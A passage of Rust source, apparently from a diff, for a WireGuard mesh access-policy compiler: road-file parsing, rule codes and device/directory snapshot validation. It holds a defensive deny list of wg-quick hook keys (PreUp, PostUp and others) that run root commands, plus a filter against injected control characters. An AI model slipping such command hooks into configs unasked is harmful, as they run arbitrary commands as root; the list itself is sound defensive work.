shape.then(|| Timestamp {
text: s.to_string(),
at,
})
}
pub fn as_str(&self) -> &str {
&self.text
}
pub fn at(&self) -> Instant {
self.at
}
}
/// What follows the header.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Body {
/// A free-text note, never interpreted.
Note(String),
/// A custom road's raw block, byte for byte, never interpreted.
Raw(String),
}
/// A road whose file parsed and whose fields are well formed. Whether it compiles depends on the snapshots.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Road {
pub path: String,
pub id: RoadId,
pub subject: Subject,
/// For an `app:` subject only: whose devices the app's road applies to (a person, a group or a device).
/// Without it an app road would change the tunnel of every device in the mesh (QA B-3).
pub on: Option<Subject>,
pub verb: Verb,
pub object: Option<Place>,
pub until: Option<Timestamp>,
pub ports: Option<Vec<PortSpec>>,
pub via: Option<DeviceKey>,
pub classic: Option<bool>,
pub created: Timestamp,
pub body: Body,
lines: BTreeMap<String, usize>,
}
impl Road {
/// The file line of `key`, or 0.
pub fn line_of(&self, key: &str) -> usize {
self.lines.get(key).copied().unwrap_or(0)
}
pub fn is_classic(&self) -> bool {
self.classic == Some(true)
}
/// The road as one line: `person:jana can-reach service:photos.home.arpa until …`.
pub fn sentence(&self, name: &dyn Fn(&DeviceKey) -> Option<String>) -> String {
let dev = |k: &DeviceKey| name(k).unwrap_or_else(|| k.short().to_string());
let subject = match &self.subject {
Subject::Device(k) => format!("device:{}", dev(k)),
s => s.to_string(),
};
let mut out = subject;
if let Some(on) = &self.on {
let on = match on {
Subject::Device(k) => format!("device:{}", dev(k)),
s => s.to_string(),
};
out.push_str(&format!(" on {on}"));
}
out.push_str(&format!(" {}", self.verb));
match &self.object {
Some(Place::Device(k)) => out.push_str(&format!(" device:{}", dev(k))),
Some(Place::Exit(k)) => out.push_str(&format!(" exit:{}", dev(k))),
Some(p) => out.push_str(&format!(" {p}")),
None => {}
}
if let Some(u) = &self.until {
out.push_str(&format!(" until {}", u.as_str()));
}
if let Some(p) = &self.ports {
let list: Vec<String> = p.iter().map(|p| p.to_string()).collect();
out.push_str(&format!(" ports [{}]", list.join(", ")));
}
if let Some(v) = &self.via {
out.push_str(&format!(" via {}", dev(v)));
}
if self.is_classic() {
out.push_str(" (classic, not post-quantum)");
}
out
}
/// The canonical file text (docs/FORMATS.md, "Canonical form").
pub fn render(&self) -> String {
let mut out = String::from("---\n");
let mut field = |k: &str, v: String| {
out.push_str(k);
out.push_str(": ");
out.push_str(&v);
out.push('\n');
};
let scalar = |s: String| {
if header::is_plain_safe(&s, false) {
s
} else {
header::quote(&s)
}
};
field("id", self.id.to_string());
field("subject", scalar(self.subject.to_string()));
if let Some(on) = &self.on {
field("on", scalar(on.to_string()));
}
field("verb", self.verb.to_string());
if let Some(o) = &self.object {
field("object", scalar(o.to_string()));
}
if let Some(u) = &self.until {
field("until", scalar(u.as_str().to_string()));
}
if let Some(p) = &self.ports {
let items: Vec<String> = p
.iter()
.map(|p| {
let s = p.to_string();
if header::is_plain_safe(&s, true) {
s
} else {
header::quote(&s)
}
})
.collect();
field("ports", format!("[{}]", items.join(", ")));
}
if let Some(v) = &self.via {
field("via", scalar(format!("device:{v}")));
}
if let Some(c) = self.classic {
field("classic", c.to_string());
}
field("created", scalar(self.created.as_str().to_string()));
out.push_str("---\n");
match &self.body {
Body::Note(n) => out.push_str(n),
Body::Raw(raw) => {
out.push_str("```raw\n");
out.push_str(raw);
out.push_str("```\n");
}
}
out
}
/// Parses one road file. `path` is store-relative (`roads/<name>`); every problem names it.
pub fn parse(path: &str, bytes: &[u8]) -> Result<Road, Vec<Problem>> {
let err = |field: Option<&str>, code, msg: String| Problem::error(path, field, code, msg);
if bytes.len() > MAX_FILE {
return Err(vec![err(
None,
r::FILE_SIZE,
format!("larger than {} KiB", MAX_FILE / 1024),
)]);
}
if bytes.starts_with(&[0xEF, 0xBB, 0xBF]) {
return Err(vec![err(
None,
r::FILE_ENCODING,
"starts with a byte order mark; save it as UTF-8 without one".into(),
)]);
}
let Ok(text) = std::str::from_utf8(bytes) else {
return Err(vec![err(None, r::FILE_ENCODING, "is not UTF-8".into())]);
};
let mut problems = Vec::new();
let name = path.rsplit('/').next().unwrap_or(path);
let name_id = id::split_file_name(name).map(|(i, _)| i);
if name_id.is_none() {
problems.push(err(
None,
r::FILE_NAME,
format!("the file name must be <id>-<slug>.md with a slug of a-z, 0-9 and -, at most {} characters", id::SLUG_MAX),
));
}
// Split into lines, keeping where each one ends.
let mut lines: Vec<&str> = Vec::new();
let mut ends: Vec<usize> = Vec::new();
let mut start = 0;
for (i, b) in text.bytes().enumerate() {
if b == b'\n' {
lines.push(text[start..i].strip_suffix('\r').unwrap_or(&text[start..i]));
ends.push(i + 1);
start = i + 1;
}
}
if start < text.len() {
lines.push(text[start..].strip_suffix('\r').unwrap_or(&text[start..]));
ends.push(text.len());
}
if lines.first() != Some(&"---") {
problems.push(err(None, r::FILE_HEADER, "the first line must be `---`".into()).at(1));
return Err(problems);
}
let Some(close) = lines
.iter()
.skip(1)
.position(|l| *l == "---")
.map(|p| p + 1)
else {
problems.push(err(
None,
r::FILE_HEADER,
"the header is not closed by a `---` line".into(),
));
return Err(problems);
};
let body_text = &text[ends[close]..];
let fields = match header::parse(&lines[1..close], 2) {
Ok(f) => f,
Err(e) => {
problems
.push(Problem::error(path, e.field.as_deref(), e.code, e.message).at(e.line));
return Err(problems);
}
};
let line_of: BTreeMap<String, usize> =
fields.iter().map(|f| (f.key.clone(), f.line)).collect();
let at = |k: &str| line_of.get(k).copied().unwrap_or(0);
let p = |k: &str, code: &'static str, msg: String| {
Problem::error(path, Some(k), code, msg).at(at(k))
};
let get = |k: &str| {
fields
.iter()
.find(|f| f.key == k)
.map(|f| &f.value)
.filter(|v| **v != Value::Absent)
};
for f in &fields {
if !REQUIRED.contains(&f.key.as_str()) && !OPTIONAL.contains(&f.key.as_str()) {
problems.push(p(&f.key, r::KEY_UNKNOWN, "unknown key".into()));
}
}
// A condition that narrows a road is widest when it is absent (no end, all traffic), so a key that is
// present but empty is an error, never "absent": clearing a field must not widen a road (QA F-09).
for k in NARROWING {
if fields
.iter()
.any(|f| f.key == k && f.value == Value::Absent)
{
problems.push(p(
k,
r::KEY_EMPTY,
format!(
"`{k}:` is empty, which would widen the road to {}; give a value or remove the key",
if k == "until" { "a permanent grant" } else { "all traffic" }
),
));
}
}
for k in REQUIRED {
if get(k).is_none() {
problems.push(
Problem::error(path, Some(k), r::KEY_MISSING, "missing required key").at(at(k)),
);
}
}
let single = |k: &str, problems: &mut Vec<Problem>| -> Option<String> {
match get(k) {
Some(Value::Str(s)) => Some(s.clone()),
Some(Value::List(_)) => {
problems.push(p(
k,
r::KEY_TYPE,
"must be a single value, not a list".into(),
));
None
}
_ => None,
}
};
let id = single("id", &mut problems).and_then(|s| match RoadId::new(&s) {
Some(id) => {
if name_id.is_some_and(|n| n != id.as_str()) {
problems.push(p(
"id",
r::ID_FILE_NAME,
format!("id {id} does not match the file name {name}"),
));
}
Some(id)
}
None => {
problems.push(p(
"id",
r::ID_FORMAT,
format!(
"`{}` is not a road id: 6 characters of 0-9 a-z without i l o u",
clip(&s)
),
));
None
}
});
let verb = single("verb", &mut problems).and_then(|s| {
let v = Verb::parse(&s);
if v.is_none() {
problems.push(p(
"verb",
r::VERB_UNKNOWN,
format!(
"`{}` is not a verb: can-reach, exits-through, goes-direct, never-online-without or custom",
clip(&s)
),
));
}
v
});
let subject = single("subject", &mut problems).and_then(|s| match parse_ref(&s) {
Err((code, m)) => {
problems.push(p("subject", code, m));
None
}
Ok(rf) => {
let kind = rf.kind();
let subject = match rf {
Ref::S(s) => Some(s),
Ref::P(Place::Device(d)) => Some(Subject::Device(d)),
Ref::P(_) => None,
};
let allowed = verb.map_or(
&[Kind::Person, Kind::Group, Kind::Device, Kind::App][..],
|v| v.subject_kinds(),
);
if subject.is_none() || !allowed.contains(&kind) {
problems.push(p(
"subject",
r::SUBJECT_KIND,
kind_message(kind, verb, allowed),
));
None
} else {
subject
}
}
});
// `on` belongs to an app subject, and an app subject needs it (QA B-3).
let is_app = matches!(subject, Some(Subject::App(_)));
let on = if subject.is_some() && !is_app {
if line_of.contains_key("on") {
problems.push(p(
"on",
r::KEY_FORBIDDEN,
"only an app: road takes `on`".into(),
));
}
None
} else if is_app {
match single("on", &mut problems) {
None => {
problems.push(
Problem::error(
path,
Some("on"),
r::KEY_MISSING,
"an app: road says whose devices it is for: `on: person:<id>`, `group:<id>` or `device:<key>`",
)
.at(at("on")),
);
None
}
Some(s) => match parse_ref(&s) {
Err((code, m)) => {
problems.push(p("on", code, m));
None
}
Ok(Ref::S(sub @ (Subject::Person(_) | Subject::Group(_)))) => Some(sub),
Ok(Ref::P(Place::Device(d))) => Some(Subject::Device(d)),
Ok(rf) => {
problems.push(p(
"on",
r::SUBJECT_KIND,
format!(
"`on` takes person, group or device, not {}",
rf.kind().name()
),
));
None
}
},
}
} else {
None
};
if let Some(v) = verb {
for k in OPTIONAL {
if !v.takes(k) && line_of.contains_key(k) {
problems.push(p(k, r::KEY_FORBIDDEN, format!("a {v} road takes no `{k}`")));
}
}
if v != Verb::Custom && get("object").is_none() {
problems.push(
Problem::error(path, Some("object"), r::KEY_MISSING, "missing required key")
.at(at("object")),
);
}
}
let takes = |k: &str| verb.is_none_or(|v| v.takes(k));
let object = if takes("object") {
single("object", &mut problems).and_then(|s| match parse_ref(&s) {
Err((code, m)) => {
problems.push(p("object", code, m));
None
}
Ok(rf) => {
let kind = rf.kind();
let allowed = verb.map_or(
&[Kind::Device, Kind::Subnet, Kind::Service, Kind::Exit][..],
|v| v.object_kinds(),
);
match rf {
Ref::P(place) if allowed.contains(&kind) => Some(place),
_ => {
problems.push(p(
"object",
r::OBJECT_KIND,
kind_message(kind, verb, allowed),
));
None
}
}
}
})
} else {
None
};
let until = single("until", &mut problems).and_then(|s| {
let t = Timestamp::parse(&s);
if t.is_none() {
problems.push(p(
"until",
r::UNTIL_FORMAT,
format!("`{}` is not an RFC 3339 time with an offset", clip(&s)),
));
}
t
});
let created = single("created", &mut problems).and_then(|s| {
let t = Timestamp::parse(&s);
if t.is_none() {
problems.push(p(
"created",
r::CREATED_FORMAT,
format!("`{}` is not an RFC 3339 time with an offset", clip(&s)),
));
}
t
});
let ports = if takes("ports") {
match get("ports") {
Some(Value::Str(_)) => {
problems.push(p(
"ports",
r::KEY_TYPE,
"must be a list, like [tcp/443]".into(),
));
None
}
Some(Value::List(items)) => {
let mut out = Vec::new();
for it in items {
match PortSpec::parse(it) {
Ok(s) => out.push(s),
Err(m) => problems.push(p("ports", r::PORTS_FORMAT, m)),
}
}
if items.is_empty() {
problems.push(p(
"ports",
r::PORTS_FORMAT,
"an empty list grants nothing; leave `ports` out for all traffic"
.into(),
));
}
Some(out)
}
_ => None,
}
} else {
None
};
let via = if takes("via") {
single("via", &mut problems).and_then(|s| {
match s.strip_prefix("device:").and_then(DeviceKey::new) {
Some(k) => Some(k),
None => {
problems.push(p(
"via",
r::VIA_FORMAT,
format!("`{}` is not `device:<key>`", clip(&s)),
));
None
}
}
})
} else {
None
};
let classic = if takes("classic") {
single("classic", &mut problems).and_then(|s| match s.as_str() {
"true" => Some(true),
"false" => Some(false),
_ => {
problems.push(p(
"classic",
r::CLASSIC_FORMAT,
format!("`{}` is not true or false", clip(&s)),
));
None
}
})
} else {
None
};
let body = if verb == Some(Verb::Custom) {
match raw_block(body_text) {
Some(raw) => {
for (i, key) in raw_hooks(raw) {
problems.push(
Problem::error(
path,
None,
r::BODY_RAW_HOOK,
format!("`{key}` runs commands or rewrites routing when wg-quick brings the config up; it is not allowed in a raw block"),
)
.at(close + 3 + i),
);
}
Some(Body::Raw(raw.to_string()))
}
None => {
problems.push(
Problem::error(
path,
None,
r::BODY_RAW_MISSING,
"a custom road's body is one ```raw block: a ```raw line, the raw lines, a ``` line",
)
.at(close + 2),
);
None
}
}
} else {
if body_text
.split('\n')
.any(|l| l.strip_suffix('\r').unwrap_or(l) == "```raw")
{
problems.push(
Problem::error(
path,
None,
r::BODY_RAW_OUTSIDE_CUSTOM,
"a ```raw block belongs only in a custom road",
)
.at(close + 2),
);
}
Some(Body::Note(body_text.to_string()))
};
if !problems.is_empty() {
problems.sort_by_key(|p| p.line);
return Err(problems);
}
match (id, subject, verb, created, body) {
(Some(id), Some(subject), Some(verb), Some(created), Some(body)) => Ok(Road {
path: path.to_string(),
id,
subject,
on,
verb,
object,
until,
ports,
via,
classic,
created,
body,
lines: line_of,
}),
_ => unreachable!("a missing field always leaves a problem"),
}
}
}
fn kind_message(kind: Kind, verb: Option<Verb>, allowed: &[Kind]) -> String {
let names: Vec<&str> = allowed.iter().map(|k| k.name()).collect();
match verb {
Some(v) if names.is_empty() => format!("a {v} road takes no {}", kind.name()),
Some(v) => format!("a {v} road takes {}, not {}", names.join(", "), kind.name()),
None => format!("{} is not allowed here", kind.name()),
}
}
/// wg-quick keys that run shell commands as root or change host routing (wg-quick(8)); QA R-41.
pub const RAW_HOOKS: [&str; 7] = [
"preup",
"postup",
"predown",
"postdown",
"saveconfig",
"table",
"fwmark",
];
/// The (0-based line, key) of every hook key in a raw block, in any case and spacing.
pub fn raw_hooks(raw: &str) -> Vec<(usize, String)> {
raw.split('\n')
.enumerate()
.filter_map(|(i, l)| {
let key = l
.split('=')
.next()?
.trim_matches(|c: char| c.is_whitespace());
(l.contains('=') && RAW_HOOKS.contains(&key.to_ascii_lowercase().as_str()))
.then(|| (i, key.to_string()))
})
.collect()
}
/// The raw bytes of a body that is exactly one ```` ```raw ```` block.
fn raw_block(body: &str) -> Option<&str> {
let rest = body
.strip_prefix("```raw\n")
.or_else(|| body.strip_prefix("```raw\r\n"))?;
let without_end = rest
.strip_suffix("\r\n")
.or_else(|| rest.strip_suffix('\n'))
.unwrap_or(rest);
let raw = without_end.strip_suffix("```")?;
(raw.is_empty() || raw.ends_with('\n')).then_some(raw)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn raw_blocks() {
assert_eq!(
raw_block("```raw\n[Peer]\nA = b\n```\n"),
Some("[Peer]\nA = b\n")
);
assert_eq!(raw_block("```raw\n```"), Some(""));
assert_eq!(raw_block("```raw\r\nx\r\n```\r\n"), Some("x\r\n"));
assert_eq!(
raw_block("```raw\nx\n```\ny\n"),
None,
"text after the block"
);
assert_eq!(
raw_block("```raw\nx```\n"),
None,
"the fence must start a line"
);
assert_eq!(raw_block("note\n"), None);
}
#[test]
fn timestamps() {
assert!(Timestamp::parse("2026-11-29T23:59:59+01:00").is_some());
assert!(Timestamp::parse("2026-11-29T22:59:59Z").is_some());
assert!(Timestamp::parse("2026-11-29 23:59:59+01:00").is_none());
assert!(Timestamp::parse("2026-11-29").is_none());
assert!(Timestamp::parse("2026-02-30T00:00:00Z").is_none());
}
}
+141
View File
@@ -0,0 +1,141 @@
//! Every rule code a [`crate::Problem`] can carry (docs/FORMATS.md). The validation test fails if one of
//! these has no failing fixture.
// Road files
pub const FILE_KIND: &str = "file.kind";
pub const FILE_NAME: &str = "file.name";
pub const FILE_SIZE: &str = "file.size";
pub const FILE_ENCODING: &str = "file.encoding";
pub const FILE_HEADER: &str = "file.header";
pub const FILE_COUNT: &str = "file.count";
pub const STORE_ROADS: &str = "store.roads";
pub const YAML_REFUSED: &str = "yaml.refused";
pub const YAML_SYNTAX: &str = "yaml.syntax";
pub const KEY_UNKNOWN: &str = "key.unknown";
pub const KEY_DUPLICATE: &str = "key.duplicate";
pub const KEY_MISSING: &str = "key.missing";
pub const KEY_FORBIDDEN: &str = "key.forbidden";
pub const KEY_TYPE: &str = "key.type";
pub const KEY_EMPTY: &str = "key.empty";
pub const ID_FORMAT: &str = "id.format";
pub const ID_FILE_NAME: &str = "id.file-name";
pub const ID_DUPLICATE: &str = "id.duplicate";
pub const VERB_UNKNOWN: &str = "verb.unknown";
pub const REF_FORMAT: &str = "ref.format";
pub const SUBJECT_KIND: &str = "subject.kind";
pub const SUBJECT_UNKNOWN: &str = "subject.unknown";
pub const OBJECT_KIND: &str = "object.kind";
pub const OBJECT_UNKNOWN: &str = "object.unknown";
pub const OBJECT_NOT_EXIT: &str = "object.not-exit";
pub const SUBNET_NOT_CANONICAL: &str = "subnet.not-canonical";
pub const SUBNET_UNROUTED: &str = "subnet.unrouted";
pub const DIRECT_MESH: &str = "direct.mesh";
pub const UNTIL_FORMAT: &str = "until.format";
pub const CREATED_FORMAT: &str = "created.format";
pub const PORTS_FORMAT: &str = "ports.format";
pub const PORTS_NOT_SERVED: &str = "ports.not-served";
pub const SERVICE_SHARED: &str = "service.shared";
pub const VIA_FORMAT: &str = "via.format";
pub const VIA_UNKNOWN: &str = "via.unknown";
pub const VIA_NOT_RELAY: &str = "via.not-relay";
pub const CLASSIC_FORMAT: &str = "classic.format";
pub const CLASSIC_UNACKNOWLEDGED: &str = "classic.unacknowledged";
pub const BODY_RAW_MISSING: &str = "body.raw-missing";
pub const BODY_RAW_OUTSIDE_CUSTOM: &str = "body.raw-outside-custom";
pub const BODY_RAW_HOOK: &str = "body.raw-hook";
// Inactive roads
pub const ROAD_EXPIRED: &str = "road.expired";
pub const ROAD_NO_DEVICES: &str = "road.no-devices";
pub const ROAD_SELF: &str = "road.self";
pub const EXIT_CONFLICT: &str = "exit.conflict";
pub const DIRECT_KILL_SWITCH: &str = "direct.kill-switch";
pub const ROAD_FAMILY: &str = "road.family";
pub const DIRECT_TUNNELLED: &str = "direct.tunnelled";
// Snapshots
pub const SNAPSHOT_JSON: &str = "snapshot.json";
pub const SNAPSHOT_FORMAT: &str = "snapshot.format";
pub const DIRECTORY_ID: &str = "directory.id";
pub const DIRECTORY_DUPLICATE: &str = "directory.duplicate";
pub const DIRECTORY_NAME: &str = "directory.name";
pub const DIRECTORY_MEMBER: &str = "directory.member";
pub const DIRECTORY_MEMBER_UNKNOWN: &str = "directory.member-unknown";
pub const DEVICES_KEY: &str = "devices.key";
pub const DEVICES_DUPLICATE: &str = "devices.duplicate";
pub const DEVICES_NAME: &str = "devices.name";
pub const DEVICES_OWNER: &str = "devices.owner";
pub const DEVICES_OWNER_UNKNOWN: &str = "devices.owner-unknown";
pub const DEVICES_ADDRESS: &str = "devices.address";
pub const DEVICES_ROUTE: &str = "devices.route";
pub const DEVICES_OVERLAP: &str = "devices.overlap";
pub const DEVICES_SERVICE: &str = "devices.service";
pub const DEVICES_PORTS: &str = "devices.ports";
pub const ALL: &[&str] = &[
FILE_KIND,
FILE_NAME,
FILE_SIZE,
FILE_ENCODING,
FILE_HEADER,
FILE_COUNT,
STORE_ROADS,
YAML_REFUSED,
YAML_SYNTAX,
KEY_UNKNOWN,
KEY_DUPLICATE,
KEY_MISSING,
KEY_FORBIDDEN,
KEY_TYPE,
KEY_EMPTY,
ID_FORMAT,
ID_FILE_NAME,
ID_DUPLICATE,
VERB_UNKNOWN,
REF_FORMAT,
SUBJECT_KIND,
SUBJECT_UNKNOWN,
OBJECT_KIND,
OBJECT_UNKNOWN,
OBJECT_NOT_EXIT,
SUBNET_NOT_CANONICAL,
SUBNET_UNROUTED,
DIRECT_MESH,
UNTIL_FORMAT,
CREATED_FORMAT,
PORTS_FORMAT,
PORTS_NOT_SERVED,
SERVICE_SHARED,
VIA_FORMAT,
VIA_UNKNOWN,
VIA_NOT_RELAY,
CLASSIC_FORMAT,
CLASSIC_UNACKNOWLEDGED,
BODY_RAW_MISSING,
BODY_RAW_OUTSIDE_CUSTOM,
BODY_RAW_HOOK,
ROAD_EXPIRED,
ROAD_NO_DEVICES,
ROAD_SELF,
EXIT_CONFLICT,
DIRECT_KILL_SWITCH,
ROAD_FAMILY,
DIRECT_TUNNELLED,
SNAPSHOT_JSON,
SNAPSHOT_FORMAT,
DIRECTORY_ID,
DIRECTORY_DUPLICATE,
DIRECTORY_NAME,
DIRECTORY_MEMBER,
DIRECTORY_MEMBER_UNKNOWN,
DEVICES_KEY,
DEVICES_DUPLICATE,
DEVICES_NAME,
DEVICES_OWNER,
DEVICES_OWNER_UNKNOWN,
DEVICES_ADDRESS,
DEVICES_ROUTE,
DEVICES_OVERLAP,
DEVICES_SERVICE,
DEVICES_PORTS,
];
+597
View File
@@ -0,0 +1,597 @@
//! The two snapshots the compiler reads besides the roads: `directory.json` and `devices.json`
//! (docs/FORMATS.md). Both are strict: unknown fields are errors, and a *structural* error (bad JSON, a wrong
//! format, a malformed or duplicate id, key or address) means no plan is produced.
//!
//! A *dangling reference* is different (QA F-04): a group member or a device owner that is a well-formed id
//! but no longer a person in the directory. That is what deleting a person upstream leaves behind. It is
//! still an error, and reported, but it only removes that reference: the member leaves the group, the device
//! becomes ownerless (reached only by `device:` roads). Everybody else keeps their plans.
use crate::ids::{
DeviceKey, GroupId, Hostname, PersonId, clip, is_device_key, is_hostname, is_opaque_id,
};
use crate::net::{Addr, Net};
use crate::ports::PortSpec;
use crate::problem::Problem;
use crate::rules as r;
use serde::Deserialize;
use std::collections::{BTreeMap, BTreeSet};
pub const DIRECTORY_FILE: &str = "directory.json";
pub const DEVICES_FILE: &str = "devices.json";
pub const MAX_SNAPSHOT: usize = 4 * 1024 * 1024;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Person {
pub id: PersonId,
pub name: String,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Group {
pub id: GroupId,
pub name: String,
pub members: BTreeSet<PersonId>,
}
/// The people directory snapshot, validated.
#[derive(Debug, Clone, PartialEq, Eq, Default)]
pub struct Directory {
pub people: BTreeMap<PersonId, Person>,
pub groups: BTreeMap<GroupId, Group>,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Service {
pub host: Hostname,
pub ports: Vec<PortSpec>,
/// The service's own mesh address on its device, if it has one. A firewall sees addresses and ports, not
/// hostnames, so only a service with its own address (or alone on its ports) can be granted by itself
/// (QA F-01).
pub address: Option<Addr>,
}
impl Service {
/// Where a road to this service sends traffic: its own address, or its device's.
pub fn endpoint(&self, device: &Device) -> Addr {
self.address.unwrap_or(device.address)
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Device {
pub key: DeviceKey,
pub name: String,
pub owner: Option<PersonId>,
pub address: Addr,
/// A classic WireGuard peer: **not post-quantum**.
pub classic: bool,
pub exit: bool,
pub relay: bool,
pub routes: Vec<Net>,
pub services: Vec<Service>,
}
/// The device list, validated.
#[derive(Debug, Clone, PartialEq, Eq, Default)]
pub struct Devices {
pub devices: BTreeMap<DeviceKey, Device>,
}
impl Devices {
pub fn by_name(&self, name: &str) -> Option<&Device> {
self.devices.values().find(|d| d.name == name)
}
/// The device serving `host`.
pub fn service(&self, host: &Hostname) -> Option<(&Device, &Service)> {
self.devices
.values()
.find_map(|d| d.services.iter().find(|s| &s.host == host).map(|s| (d, s)))
}
/// Every mesh address: each device's own and its services' own. Never goes direct (QA F-02).
pub fn mesh_addresses(&self) -> impl Iterator<Item = (&Device, Addr)> {
self.devices.values().flat_map(|d| {
std::iter::once((d, d.address)).chain(
d.services
.iter()
.filter_map(move |s| s.address.map(|a| (d, a))),
)
})
}
/// The one device whose routes cover `net`.
pub fn router_of(&self, net: &Net) -> Option<&Device> {
self.devices
.values()
.find(|d| d.routes.iter().any(|r| r.contains(net)))
}
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawDirectory {
format: u32,
people: Vec<RawPerson>,
#[serde(default)]
groups: Vec<RawGroup>,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawPerson {
id: String,
name: String,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawGroup {
id: String,
name: String,
members: Vec<String>,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawDevices {
format: u32,
devices: Vec<RawDevice>,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawDevice {
key: String,
name: String,
#[serde(default)]
owner: Option<String>,
address: String,
#[serde(default)]
classic: bool,
#[serde(default)]
exit: bool,
#[serde(default)]
relay: bool,
#[serde(default)]
routes: Vec<String>,
#[serde(default)]
services: Vec<RawService>,
}
#[derive(Deserialize)]
#[serde(deny_unknown_fields)]
struct RawService {
host: String,
ports: Vec<String>,
#[serde(default)]
address: Option<String>,
}
fn read_json<T: for<'de> Deserialize<'de>>(path: &str, bytes: &[u8]) -> Result<T, Vec<Problem>> {
if bytes.len() > MAX_SNAPSHOT {
return Err(vec![Problem::error(
path,
None,
r::SNAPSHOT_JSON,
"larger than 4 MiB",
)]);
}
serde_json::from_slice(bytes).map_err(|e| {
vec![
Problem::error(
path,
None,
r::SNAPSHOT_JSON,
format!("not a valid snapshot: {e}"),
)
.at(e.line()),
]
})
}
/// A mesh address: one canonical IP address, never loopback, link-local, multicast, IPv4-embedding IPv6 or an
/// internet address, so an exit's `internet` rule can never cover a device or service of the mesh (QA F-08).
fn mesh_address(text: &str) -> Option<Addr> {
let a = text.parse::<std::net::IpAddr>().ok()?;
let n = Net::host(a);
(a.to_string() == text && !n.is_special() && !n.embeds_ipv4() && !n.reaches_internet())
.then_some(Addr(a))
}
fn not_mesh(text: &str) -> String {
format!(
"`{}` is not one private IP address (a mesh address is never loopback, link-local, multicast, embedded IPv4 or on the internet; use 100.64.0.0/10 or a ULA)",
clip(text)
)
}
fn good_name(s: &str) -> bool {
let n = s.chars().count();
(1..=100).contains(&n) && !s.chars().any(is_hidden_char) && s.trim() == s
}
/// Characters a name may not hold: controls (newlines included, so a name can never inject a line into an
/// exported config, QA R-42), line and paragraph separators, zero-width and bidi controls (QA R-34).
pub fn is_hidden_char(c: char) -> bool {
c.is_control()
|| matches!(c, '\u{2028}' | '\u{2029}' | '\u{200b}'..='\u{200f}' | '\u{202a}'..='\u{202e}' | '\u{2060}'..='\u{2069}' | '\u{feff}')
}
/// A parsed snapshot and the dangling references dropped from it (errors that do not stop plans).
pub type Parsed<T> = Result<(T, Vec<Problem>), Vec<Problem>>;
impl Directory {
/// `Err`: a structural error, no directory. `Ok((dir, dangling))`: `dangling` lists the members left
/// out because they are not people in the directory.
pub fn parse(bytes: &[u8]) -> Parsed<Directory> {
let path = DIRECTORY_FILE;
let raw: RawDirectory = read_json(path, bytes)?;
let mut problems = Vec::new();
let mut dangling = Vec::new();
let mut e = |field: String, code, msg: String| {
problems.push(Problem::error(path, Some(&field), code, msg))
};
if raw.format != 1 {
e(
"format".into(),
r::SNAPSHOT_FORMAT,
format!("format {} is not 1", raw.format),
);
}
let mut dir = Directory::default();
for (i, p) in raw.people.iter().enumerate() {
let Some(id) = PersonId::new(&p.id) else {
e(
format!("people[{i}].id"),
r::DIRECTORY_ID,
format!(
"`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -",
clip(&p.id)
),
);
continue;
};
if !good_name(&p.name) {
e(
format!("people[{i}].name"),
r::DIRECTORY_NAME,
"a name is 1-100 characters on one line".into(),
);
}
if dir
.people
.insert(
id.clone(),
Person {
id,
name: p.name.clone(),
},
)
.is_some()
{
e(
format!("people[{i}].id"),
r::DIRECTORY_DUPLICATE,
format!("person `{}` is listed twice", p.id),
);
}
}
for (i, g) in raw.groups.iter().enumerate() {
let Some(id) = GroupId::new(&g.id) else {
e(
format!("groups[{i}].id"),
r::DIRECTORY_ID,
format!(
"`{}` is not a group id: 1-64 of A-Z a-z 0-9 _ -",
clip(&g.id)
),
);
continue;
};
if !good_name(&g.name) {
e(
format!("groups[{i}].name"),
r::DIRECTORY_NAME,
"a name is 1-100 characters on one line".into(),
);
}
let mut members = BTreeSet::new();
for (j, m) in g.members.iter().enumerate() {
match PersonId::new(m) {
Some(m) if dir.people.contains_key(&m) => {
if !members.insert(m.clone()) {
e(
format!("groups[{i}].members[{j}]"),
r::DIRECTORY_MEMBER,
format!("`{m}` is listed twice"),
);
}
}
Some(m) => dangling.push(Problem::error(
path,
Some(&format!("groups[{i}].members[{j}]")),
r::DIRECTORY_MEMBER_UNKNOWN,
format!(
"`{m}` is not a person in the directory (groups are flat: members are people); left out of the group"
),
)),
None => e(
format!("groups[{i}].members[{j}]"),
r::DIRECTORY_MEMBER,
format!(
"`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -",
clip(m)
),
),
}
}
if dir
.groups
.insert(
id.clone(),
Group {
id,
name: g.name.clone(),
members,
},
)
.is_some()
{
e(
format!("groups[{i}].id"),
r::DIRECTORY_DUPLICATE,
format!("group `{}` is listed twice", g.id),
);
}
}
if problems.is_empty() {
Ok((dir, dangling))
} else {
Err(problems)
}
}
}
impl Devices {
/// `Err`: a structural error, no device list. `Ok((devices, dangling))`: `dangling` lists the owners
/// dropped because they are not people in `directory`; those devices are ownerless.
pub fn parse(bytes: &[u8], directory: Option<&Directory>) -> Parsed<Devices> {
let path = DEVICES_FILE;
let raw: RawDevices = read_json(path, bytes)?;
let mut problems = Vec::new();
let mut dangling = Vec::new();
let mut e = |field: String, code, msg: String| {
problems.push(Problem::error(path, Some(&field), code, msg))
};
if raw.format != 1 {
e(
"format".into(),
r::SNAPSHOT_FORMAT,
format!("format {} is not 1", raw.format),
);
}
let mut out = Devices::default();
let mut names = BTreeSet::new();
let mut addresses = BTreeSet::new();
let mut hosts = BTreeSet::new();
for (i, d) in raw.devices.iter().enumerate() {
let f = |k: &str| format!("devices[{i}].{k}");
let Some(key) = DeviceKey::new(&d.key).filter(|_| is_device_key(&d.key)) else {
e(
f("key"),
r::DEVICES_KEY,
format!(
"`{}` is not a Tessera device key: 43 characters of base64url",
clip(&d.key)
),
);
continue;
};
let name_ok = (1..=64).contains(&d.name.len())
&& d.name
.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-');
if !name_ok {
e(
f("name"),
r::DEVICES_NAME,
format!(
